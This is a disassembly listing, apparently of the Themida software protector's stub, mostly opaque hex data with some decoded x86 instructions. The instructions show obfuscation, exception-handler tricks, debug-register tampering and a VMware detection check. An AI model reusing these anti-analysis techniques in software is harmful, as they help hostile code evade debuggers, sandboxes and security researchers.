loc_5AF22E:				; CODE XREF: Themida_:005AF126j
		mov	byte ptr [ebp+61311E1h], 45h
		push	92A5F797h
		push	dword ptr [ebp+61310D1h]
		lea	eax, [ebp+6133AADh]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_5AF288
		mov	ebx, [ebp+615FEBCh]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+615FEBCh]
		push	ebx
		push	0
		push	dword ptr [ebp+615FEB8h]
		call	dword ptr [ebp+615FED5h]
		push	dword ptr [ebp+615FEB8h]
		call	dword ptr [ebp+6131209h]


loc_5AF288:				; CODE XREF: Themida_:005AF11Aj
					; Themida_:005AF254j
		push	0
		call	dword ptr [ebp+6131CBDh]
		jmp	loc_5AF2A1
; ---------------------------------------------------------------------------
		db 38h,	0E6h, 79h
; ---------------------------------------------------------------------------
		div	dword ptr [esi+eax*8-5Eh]
		mov	edx, 89D0FD14h


loc_5AF2A1:				; CODE XREF: Themida_:005AF290j
		mov	edi, 68937692h
		mov	[ebp+6130AF1h],	eax


loc_5AF2AC:				; CODE XREF: Themida_:005AF05Dj
		lea	eax, [ebp+61630FAh]
		push	edx
		movsx	edx, bx
		pop	edi
		push	eax
		push	0
		push	ebx
		call	sub_5AF2C3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF2C3	proc near		; CODE XREF: Themida_:005AF2BBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5AF2C3	endp

; ---------------------------------------------------------------------------
		db 36h
		dd 820F51A9h, 8, 2880Fh, 0FE8B0000h, 35FF64h, 8B000000h
		dd 130EF195h, 25896406h, 0
; ---------------------------------------------------------------------------
		movsx	ecx, si
		cmp	dword ptr [ebp+6131F95h], 0
		jz	loc_5AF35B
		push	0
		push	edx
		call	sub_5AF313
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF313	proc near		; CODE XREF: Themida_:005AF30Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5AF313	endp

; ---------------------------------------------------------------------------
		db 0D5h
		dd 83FF45A5h, 13173DBDh, 850F0106h, 27h, 16FDBD8Bh, 0B70F0613h
		dd 0D5BD80F9h, 61602h, 11850Fh,	0BA660000h, 4CE9F622h
		dd 57000001h, 0B107D181h
; ---------------------------------------------------------------------------
		mov	dl, 49h
		pop	edi


loc_5AF35B:				; CODE XREF: Themida_:005AF302j
		xor	ebx, ebx
		mov	dx, bx
		xor	eax, eax
		cld
		inc	eax
; ---------------------------------------------------------------------------
		dd 0B073F0Fh, 58F64h, 83000000h, 8F0F04C4h, 1, 7DE980F5h
		dd 35158D29h, 0FB830613h, 1F840FFFh, 0F000000h,	0A86h
		dd 8C0F6000h, 0
; ---------------------------------------------------------------------------
		mov	edi, eax
		popa
		push	ecx
		or	edi, [ebp+6131175h]
		pop	edi
		jmp	loc_5AF495
; ---------------------------------------------------------------------------
		mov	edi, edx
		jmp	loc_5AF438
; ---------------------------------------------------------------------------
		call	loc_5AF3B9
; ---------------------------------------------------------------------------
		dd 784338EAh
		db 1Dh
; ---------------------------------------------------------------------------


loc_5AF3B9:				; CODE XREF: Themida_:005AF3AFj
		pusha
		mov	[ebp+6130CF9h],	edx
		mov	edx, ecx
		popa
		pop	edx
		mov	ecx, [esp+0Ch]
		mov	dword ptr [ecx+0A4h], 0FFFFFFFFh
		add	dword ptr [ecx+0B8h], 4
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 616311Ch
		mov	eax, [ebx+0B8h]
		lea	eax, [ebp+61631D5h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0E8h
		dd 9, 0D268BC9h, 0B13ED15Dh, 8E804h, 8F2B0000h,	7613135Eh
		dd 616030A6h, 11E9595Fh, 0C1000000h, 9FA94C80h,	0DEE24596h
		dd 0CEBB2C5Eh, 0CCE2736Ch
; ---------------------------------------------------------------------------


loc_5AF438:				; CODE XREF: Themida_:005AF3AAj
		lea	eax, [ebp+6163112h]
		sub	[ebp+613053Dh],	eax
		push	eax
		jmp	loc_5AF453
; ---------------------------------------------------------------------------
		dw 96CFh
		dd 0AC9CBEB5h
		db 20h,	2Ah, 32h
; ---------------------------------------------------------------------------


loc_5AF453:				; CODE XREF: Themida_:005AF445j
		push	large dword ptr	fs:0
		sub	[ebp+6132051h],	eax
		mov	large fs:0, esp
		mov	[ebp+61304F5h],	esi
		mov	ecx, 0Ah
		mov	eax, 4855D704h
		add	eax, 0DF78164h
		mov	ebx, 8685D465h
		mov	edx, 34B640h
		sub	edx, 345FE8h
		in	eax, dx
		cmp	ebx, 564D5868h
		jnz	short loc_5AF49F


loc_5AF495:				; CODE XREF: Themida_:005AF3A3j
		mov	dword ptr [ebp+61312A5h], 1


loc_5AF49F:				; CODE XREF: Themida_:005AF493j
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0
		push	ebp
		call	sub_5AF4B4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF4B4	proc near		; CODE XREF: Themida_:005AF4ACp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5AF4B4	endp

; ---------------------------------------------------------------------------
		dd 614B2A4Bh, 42C56CA8h, 0FC2BDD80h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 7B61FCC3h
		dd 26F4D604h, 8D31DEE0h, 61316B5h, 0BD8367B2h, 6131625h
		dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h,	43DB8h
		dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h
		dd 6132Ch, 53501774h, 43DB8h, 15858900h, 8D061331h, 15A6859Dh
		dd 5BD3FF06h, 6DBD0358h, 66061301h, 957FCF81h, 1FAD8D8Bh
		dd 0C08B0613h, 147E9h, 400h, 392E3100h,	3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 2345BD83h, 0F000613h
		dd 12D84h, 9C858D00h, 500615A4h, 0A406858Dh, 68500615h
		dd 80000001h, 0A4AC95FFh, 858D0615h, 6163297h, 0A1858D50h
		dd 50061632h, 6A006Ah, 0A41A858Dh, 0FF500615h, 15A49CB5h
		dd 9195FF06h, 8D061311h, 16329785h, 858D5006h, 61632A5h
		dd 6A006A50h, 2C858D00h, 500615A4h, 0A49CB5FFh,	95FF0615h
		dd 6131191h, 3297858Dh,	8D500616h, 1632B185h, 6A5006h
		dd 858D006Ah, 615A479h,	9CB5FF50h, 0FF0615A4h, 13119195h
		dd 97858D06h, 50061632h, 32B9858Dh, 6A500616h, 8D006A00h
		dd 15A49785h, 0B5FF5006h, 615A49Ch, 119195FFh, 858D0613h
		dd 6163297h, 0B5858D50h, 50061632h, 6A006Ah, 0A480858Dh
		dd 0FF500615h, 15A49CB5h, 9195FF06h, 8D061311h,	16329785h
		dd 858D5006h, 61632A9h,	6A006A50h, 88858D00h, 500615A4h
		dd 0A49CB5FFh, 95FF0615h, 6131191h, 3297858Dh, 8D500616h
		dd 1632AD85h, 6A5006h, 858D006Ah, 615A48Fh, 9CB5FF50h
		dd 0FF0615A4h, 13119195h, 9CB5FF06h, 0FF0615A4h, 1331CD95h
		dd 0A2E906h, 0BD830000h, 613316Dh, 95840F00h, 83000000h
		dd 13173DBDh, 850F0006h, 11h, 29C5958Bh, 0C2810613h, 1CF8h
		dd 0FE9h, 5D958D00h, 8B061306h,	0C2813452h, 3BD4C340h
		dd 206D9589h, 0BD830613h, 613206Dh, 55840F00h, 8B000000h
		dd 13206D9Dh, 4CC38306h, 8589038Bh, 61632A1h, 206D9D8Bh
		dd 0C3830613h, 89038B50h, 1632A585h, 6D9D8B06h,	83061320h
		dd 38B54C3h, 32B18589h,	9D8B0616h, 613206Dh, 8B58C383h
		dd 0B5858903h, 8B061632h, 13206D9Dh, 5CC38306h,	8589038Bh
		dd 61632A9h, 2345BD83h,	0F000613h, 0D85h, 6DBD8300h, 61331h
		dd 68840Fh, 0B5FF0000h,	61632B9h, 32ADB5FFh, 0B5FF0616h
		dd 61632A9h, 32B5B5FFh,	0B5FF0616h, 61632B1h, 32A5B5FFh
		dd 0B5FF0616h, 61632A1h, 329B858Dh, 8D500616h, 1632D385h
		dd 858D5006h, 6132609h,	8595FF50h, 83061311h, 406A24C4h
		dd 32BD858Dh, 8D500616h, 13260985h, 6A5006h, 15595FFh
		dd 16A0613h, 1CBD95FFh,	0C18B0613h, 0F31718EBh,	9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6163667h
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 9FB58BFFh, 81061636h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 0A3B53B00h
		dd 0F061636h, 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h
		dd 24C88C66h, 0FC00A03h, 1984h,	0BB535000h, 2, 206D858Bh
		dd 18860613h, 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h
		dd 0FFFFFFCFh, 2474FF50h, 1D95FF08h, 50061311h,	244C010Fh
		dd 0C08358FEh, 5C8B531Ch, 89660C24h, 8966FC58h,	665B0258h
		dd 324C88Ch, 840FC00Ah,	9, 206D858Bh, 0C60613h,	4FF5800h
		dd 4C224h, 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h
		dd 3884h, 2BB00h, 858B0000h, 613206Dh, 0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 61328D5h,	0
; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	ebx, [eax+1000h]
		mov	[eax+1000h], ebx
		mov	ebx, [eax]
		mov	[eax], ebx
		jmp	loc_5AFA73
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+61328D5h], 100h


loc_5AFA73:				; CODE XREF: Themida_:005AFA64j
		pop	eax
		pop	ebx
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0A3h, 0FFh
		dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
		dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh,	1, 0FC90A4Ah
		dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
		dd 0C033087Ah, 1E9h, 3F80AA00h,	0F6850F00h, 5FFFFFFFh
		dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
		dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h,	595EC38Bh
		dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC00Ah, 0FFFFFFE7h
		dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h,	2984h
		dd 4485C700h, 1061636h,	50000000h, 244C010Fh, 48858FFEh
		dd 8D061636h, 16364085h, 48BD8D06h, 89061636h, 23E938h
		dd 858D0000h, 613065Dh,	538408Bh, 9B46F317h, 36408589h
		dd 858D0616h, 613065Dh,	893C408Bh, 16364485h, 5D858D06h
		dd 89061636h, 13111D85h, 87E906h, 8B520000h, 728B60D4h
		dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h
		dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h
		dd 728BDB33h, 0C4A8B08h, 13E9h,	2D3CAC00h, 0A840Fh, 98040000h
		dd 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh
		dd 8C25A5Eh, 0D0858D00h, 89061638h, 13204585h, 0F8858D06h
		dd 89061638h, 1322D585h, 20858D06h, 89061639h, 130EE585h
		dd 6A6006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0F8D12FC3h, 0E912AE5Dh, 0E836434Eh, 0Ah
		dd 478F0A23h, 5D4EF3Eh,	8B603460h, 4631BECFh, 5E610E7Fh
		dd 0DE9C08Bh, 9B000000h, 68E000AEh, 6068C60Ah, 586CAD71h
		dd 1625BD83h, 75000613h, 81BD8309h, 6132Ch, 53501974h
		dd 0EB8C08Bh, 89000004h, 130D7D85h, 7D9D8D06h, 0FF0615A9h
		dd 83585BD3h, 132C81BDh, 17740006h, 0EB85350h, 89000004h
		dd 130D7D85h, 6C9D8D06h, 0FF0615A6h, 6A585BD3h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 5E83C351h, 0A133683Fh, 0FC973E9h, 8B66C9BFh,	50006AC8h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BF0F741Ch, 8BC08BF6h, 95BD83C8h, 6131Fh, 0A840Fh, 0D9800000h
		dd 247E9FFh, 0D38B0000h, 0CE81DF8Ch, 4FFA59Ch, 4C7F766h
		dd 32850F00h, 6A000002h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 6C1AC355h, 80A221Fh
		dd 0CFC180F1h, 55F9B5BAh, 5BD8341h, 61315h, 34850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 23E642C3h, 0E99CAA3Dh, 1D5h,	8800Fh,	81570000h, 0A71403D1h
		dd 0FF2B5A4Ch, 0F28B5956h, 3C9C9D8Dh, 0E6810616h, 78740B6Dh
		dd 0FE9h, 8202E000h, 0C0589C2Ah, 72797BA4h, 5491DAF5h
		dd 683FBE93h, 0B25062D8h, 0F18B939Ch, 35FF64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0C9FAC357h, 69F7D471h, 8964B0AFh,	25h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 88EC8B5Fh, 0C48BFAB5h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 60C35141h, 460F580h, 0D08B66A5h, 0EB01CDh
		dd 20B9D68Bh, 6A6AD6D9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 2C31C351h, 0BAF2BF0Fh
		dd 1E2E59E5h, 58F64h, 0B5000000h, 83F18B22h, 6A04C4h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 5CB4ADC3h, 0EA81669Bh, 0C00BD600h, 0B3840Fh,	8B660000h
		dd 6A61D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0E23D2BC3h, 607AB626h, 0B6D18166h, 61FA8BC5h
		dd 7533BD8Dh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0C27EC8C3h, 0F7AC2B5h, 1880h, 8C0F6000h
		dd 0
		dd 0AE8h, 40794900h, 55699DEDh,	595A2502h, 1B861h, 880F0000h
		dd 3, 0FFD7B70Fh, 5FBF60E7h, 0B078BD77h, 8B576116h, 8B10245Ch
		dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 8B66F38Bh, 6A61CAh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0FC06CCC3h, 0CBB70FF3h
		dd 8BF78B66h, 12E8C0h, 1F430000h, 49BFA773h, 8BD3B033h
		dd 0E22CB7D0h, 3668CC3Fh, 4840Fh, 0BA660000h, 835AEFB9h
		dd 131625BDh, 9750006h,	2C81BD83h, 74000613h, 8B535019h
		dd 40EB8C0h, 85890000h,	6133115h, 0A9E49D8Dh, 0D3FF0615h
		dd 0BD83585Bh, 6132C81h, 50177400h, 40EB853h, 85890000h
		dd 6133115h, 0A6859D8Dh, 0D3FF0615h, 0D78B585Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BAC35040h, 0BECF7CE3h
		dd 8B7869F6h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0A0A30D64h, 50AB588Dh, 0D08B4BA4h
		dd 0EE8C28Bh, 0E6000000h, 67D2A678h, 0BD378EDCh, 0FB3B6628h
		dd 5F67B274h, 0BE9h, 5E638A00h,	0BFAB359Fh, 4811682Dh
		dd 6C41C781h, 0B3560000h, 0EEBE5BAFh, 0E900001Ah, 0Dh
		dd 6917AE88h, 0F6A5AC8Fh, 6CD9FE6h, 0E937FF53h,	5, 60CC37C7h
		dd 81F559B5h, 0EFFA39F1h, 81D88B0Ch, 215216E9h,	6D38120h
		dd 811601A7h, 0E9A219E9h, 89F88A26h, 6E90Fh, 0AF060000h
		dd 0F3CC9857h, 0BA04EF83h, 17C6CA2Eh, 1EE81h, 850F0000h
		dd 0FFFFFFB5h, 8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 613173Dh, 700C858Dh,	88B0616h, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 3E408D89h, 0BD830616h, 6131505h,	0F840F00h
		dd 60000000h, 95FF006Ah, 6130DA9h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 3C85895Ah, 8B06163Eh
		dd 163E40B5h, 10CEC106h, 2728966h, 3E40B58Bh, 89660616h
		dd 8B61FC72h, 163E3C85h, 958DC306h, 6132D31h, 206D9589h
		dd 95890613h, 6130F55h,	0F5585FFh, 85C60613h, 61311E1h
		dd 48D86853h, 0B5FFFCB1h, 613116Dh, 3AAD858Dh, 0D0FF0613h
		dd 0DA98589h, 858D0613h, 6163677h, 0D098589h, 20EB0613h
		dd 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B07EF
; ---------------------------------------------------------------------------
		jmp	loc_5B07E8
; ---------------------------------------------------------------------------
		push	61640CCh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6164190h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61643C6h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6164426h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dw 0CD19h
		dd 0B7072989h, 0BF113797h, 0B6052B8Bh, 0C7163C9Ah, 31FE2D8Dh
		dd 0E7C78DDCh, 0FFDF73C1h, 0E4C286D9h, 0C1E16BBEh, 2CA6D7F8h
		dd 0F516B3F4h, 6BBDC29Ch, 9FFF8EDFh, 0F6909DB4h, 3FFD1F9Ch
		dd 0A72341EDh, 3Dh, 0BDE5C2BBh,	1571E06Ch, 0DE109DB5h
		dd 77D635BFh, 0B8109DB5h, 0C40C3E92h, 0B6157178h, 8B8BED47h
		dd 90C5E216h, 0A877636h, 0E473D56Ah, 88CA17A1h,	4C045334h
		dd 536E4C2Dh, 33h, 0F2DDC2EFh, 0E2F31ADEh, 30AEDDE7h, 71109EAFh
		dd 0AEC31F4Eh, 98C109Eh, 273612A5h, 87E2DEE6h, 0C3A2A83Ch
		dd 863771E4h, 59BC168Ch, 0E7765C79h, 0BDF9636Dh, 518EDF6Bh
		dd 6C74D869h, 624BBA1Dh, 62D7FB6Fh, 912E1CB0h, 0B4E33FAEh
		dd 69AC909Dh, 2935715Fh, 85057857h, 0C6909DA4h,	0A51A74E9h
		dd 2253909Dh, 909DA4A8h, 0FE1F2C71h, 451479F6h,	5AB42906h
		dd 23909DA5h, 65F8DAE2h, 76E7C8E7h, 909DA51Ch, 3A18A0E5h
		dd 4A3E3FEh, 0A0B0FF23h, 94A4E918h, 98FD968Eh, 8DDA38C9h
		dd 0D5318A8Ah, 3F783864h, 86E0DAADh, 76000000h,	1670E5C2h
		dd 0DF109DB5h, 86CC1CBEh, 9FE7023Eh, 8B94CD40h,	5A45168Bh
		dd 1BAB8E5Dh, 0C421AB2Bh, 0ED406241h, 6302489Ch, 98F26344h
		dd 610A871Ah, 84A6B43Ch, 0A5661B31h, 0BE80021Bh, 392322Fh
		dd 3D890000h, 4797B919h, 2F81A707h, 4695BB1Bh, 3786AC0Ah
		dd 0A18EBD1Dh, 7757FD4Ch, 6F4F0351h, 7452F649h,	7151FB4Eh
		dd 9CF66768h, 6516B3F4h, 0E5C2122Ch, 9DB51670h,	6EFBDF10h
		dd 223D87E6h, 350h, 1C6BBDC0h, 0DD71C1CAh, 0D6CADBCh, 29A691AEh
		dd 834FEF85h, 8F7CD687h, 40B5109Eh, 109E8EC6h, 0DC410E8Fh
		dd 0A6245514h, 95109E8Eh, 109E8EB5h, 9E8F27A4h,	8EB41210h
		dd 23A3109Eh, 12109E8Fh, 0D09E8EB4h, 0DCFB8BD6h, 6F2767F6h
		dd 6491919Ch, 0BF9C2445h, 892FB14Eh, 0E5FBE56h,	0B80CB7B2h
		dd 0B2A03092h, 4CBF4D3h, 0BBC210F0h, 5283D018h,	5079408Fh
		dd 0C170E528h, 0C6B9F02Ah, 2CE2A27h, 14D0000h, 3537555h
		dd 0F3456B4Bh, 2517757h, 0FB4A704Eh, 0E54A7959h, 0BB1B3988h
		dd 0AB0B4795h, 0B8163285h, 0AD0D3F92h, 0D04ABBA4h, 9916B3F5h
		dd 0E0C2DE80h, 98BA0250h, 5FF54445h, 0D1EE8F0Eh, 4351BDE6h
		dd 5B677FADh, 76E8BD91h, 9E4D97F6h, 0A03F47A2h,	0F16DA0BFh
		dd 0BA109E9Eh, 6A0B4998h, 75AD2362h, 2B6A168Ch,	5EB7A38Ch
		dd 0DDEC2F51h, 620C1004h, 0C71170ADh, 7715A789h, 88178C06h
		dd 3A6A550Ah, 5C05C65Bh, 0F2D1B0D1h, 3AC6D2CDh,	99712BA3h
		dd 69766778h, 99B70160h, 84296BCh, 0BE10D839h, 9A851A6Ah
		dd 0BAF06A9Bh, 54B90A87h, 104AB66Fh, 9DC4E071h,	4D9BCAE9h
		dd 6A1075E2h, 0CBBE184Dh, 6870471h, 0CEEC31BEh,	71CC3F9Fh
		dd 7E086104h, 3B597E61h, 4896D905h, 355B43Ch, 0B80A6060h
		dd 1547655h, 4A1B3988h,	2B0CAACBh, 4A7DD90Ch, 0C746FE5Ch
		dd 0C28ADBFDh, 49940273h, 4B96FE5Ch, 4ABB9C3Bh,	0FE5C48D0h
		dd 6F6C7499h, 0C3696750h, 5E3D5ABh, 78F04CBBh, 187D044Ah
		dd 21B39CBBh, 8E79FBDEh, 0C41D48A3h, 7819D2B9h,	0BECB5E70h
		dd 3051E06Ah, 6E547151h, 0A3E273DDh, 0A6A63719h, 4092B897h
		dd 0FCDE3F0Eh, 0AFDEE66Ch, 0F846033Fh, 44982841h, 71EAC4A4h
		dd 0BB2A89E8h, 0FE346B6Dh, 0F6DCFB1Ah, 3958E963h, 9D85A2AFh
		dd 292E3F0Bh, 1D272AE9h, 1CA4C58Eh, 4FE2A73Ah, 4C2D6CFDh
		dd 53F94C6Eh, 0A8225374h, 71F23003h, 0E745A42Ch, 0B6278402h
		dd 0F81DDB7Eh, 0DD6E5473h, 0C4880273h, 0E51EC19h, 19C483DFh
		dd 0A8C94CECh, 0F342C320h, 19C40482h, 60EE40ECh, 0F05CEDD1h
		dd 0C8412B61h, 17A14DDh, 3DE51DDBh, 16C578h, 70990000h
		dd 109DAA12h, 1155h, 24597600h,	109D97AAh, 10CA1273h, 9DAF1270h
		dd 0BEA3D610h, 0CD9CB805h, 0A4FE6F4Ch, 6D109DB4h, 4D6A4928h
		dd 677D365h, 109DB48Ch,	0B53690C5h, 9EFF109Dh, 57844CD1h
		dd 8B8BB226h, 912E6F16h, 0AE361AA9h, 9EE8013Fh,	7A9DCC41h
		dd 4FCE1078h, 0EF6A251Ah, 0BA975679h, 98h, 0BF1F3783h
		dd 0A5054999h, 0B9193183h, 0AA084897h, 0BB1B3988h, 0F746A788h
		dd 0D5B7D5Dh, 0F0436545h, 5587A58h, 755A6747h, 0B3F78600h
		dd 68DA4F16h, 414DE0C2h, 9DB552CCh, 9BFA1B10h, 8AFCE551h
		dd 8C64B82Dh, 0FC21168Bh, 6C1A4F6Dh, 67C71E4Fh,	5881078h
		dd 0EF647550h, 0FEDB9279h, 38h,	0DFFF57E3h, 0C5E569F9h
		dd 0D9F951E3h, 0CAE868F7h, 0DBFB59E8h, 972647E8h, 0AD3B1DBDh
		dd 902305A5h, 0A5381AB8h, 153A07A7h, 0B3F966E0h, 48FA2F16h
		dd 3C4h, 0E17B6A00h, 54E571BDh,	0DC6DDF72h, 52E365FAh
		dd 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh, 9EAF9B2Dh
		dd 15242ABCh, 0E0895022h, 405h,	4E88300h, 5C240487h, 57241489h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	40682404h, 89000023h
		dd 6852241Ch, 743F4C56h, 8124148Bh, 4C4h, 90CA8100h, 81002154h
		dd 291D7AEAh, 5AD0896Eh, 465668h, 24248900h, 4240483h
		dd 481505Bh, 6D696924h,	8438F4Ah, 6969BF57h, 7B294A6Dh
		dd 1C8B5F08h, 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h
		dd 5024048Bh, 405E089h,	83000000h, 48704C0h, 45E95C24h
		dd 9FFFD3Ch
; ---------------------------------------------------------------------------


loc_5B07E8:				; CODE XREF: Themida_:005B01F9j
		mov	eax, 6164483h
		add	eax, ebp


loc_5B07EF:				; CODE XREF: Themida_:005B01F4j
		mov	ecx, eax
		jmp	short $+2
		jmp	loc_5B0E0F
; ---------------------------------------------------------------------------
		jmp	loc_5B0E08
; ---------------------------------------------------------------------------
		push	616462Bh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6164743h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61647EAh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61648C1h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	61649E9h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 22h
		dd 0BEE4C294h, 0DEC4E26Ch, 80A2004Ah, 9F81212Fh, 31644212h
		dd 14408DFEh, 0E4494B6h, 13358AB0h, 103C8DB3h, 37A6A9B2h
		dd 16B3F9DBh, 6C4E6DA4h, 0F46E76DCh, 4DF1DDC2h,	0B786C81Ah
		dd 0FE717156h, 0AE2C5B65h, 9D109E56h, 109E5741h, 9E56AB28h
		dd 57389610h, 5179109Eh, 9AFB4AFEh, 5752B352h, 0AC93109Eh
		dd 67038919h, 15ADA158h, 4383935Bh, 1E2C8022h, 8706CE4Fh
		dd 909E4E07h, 69464029h, 8F3C21F4h, 1CBBDA96h, 7A7A136h
		dd 64F78E21h, 553455E4h, 0AA245976h, 738A8B35h,	1D1BCA12h
		dd 144FFCC4h, 7F242ABCh, 7B1ACBC0h, 0B044295Ch,	654D907Bh
		dd 0F26F79D5h, 812ADE93h, 0A047F9F2h, 464A5h, 0FC5AE800h
		dd 0E46AFCDEh, 0FA50E4C6h, 0EB65F6DCh, 0FC58E5CBh, 2B40EFDEh
		dd 3218B69Eh, 3012B0A2h, 2B0DAD9Bh, 4714B29Ah, 0FB79D508h
		dd 0CF4216B3h, 0E06CBD73h, 1507251h, 90C50253h,	109DB536h
		dd 0F5FF9EFFh, 9DB53796h, 0A5E07310h, 0E8293814h, 4496B889h
		dd 0B5533B0Ah, 0A8125144h, 0EB3E6413h, 0B7134261h, 80109DB4h
		dd 3081D31Dh, 499CBE1Ch, 3B7BA403h, 9111C5AAh, 626403CDh
		dd 815E7DCFh, 9EB0920Ch, 0B23A5B10h, 8CBC0F33h,	34799BDh
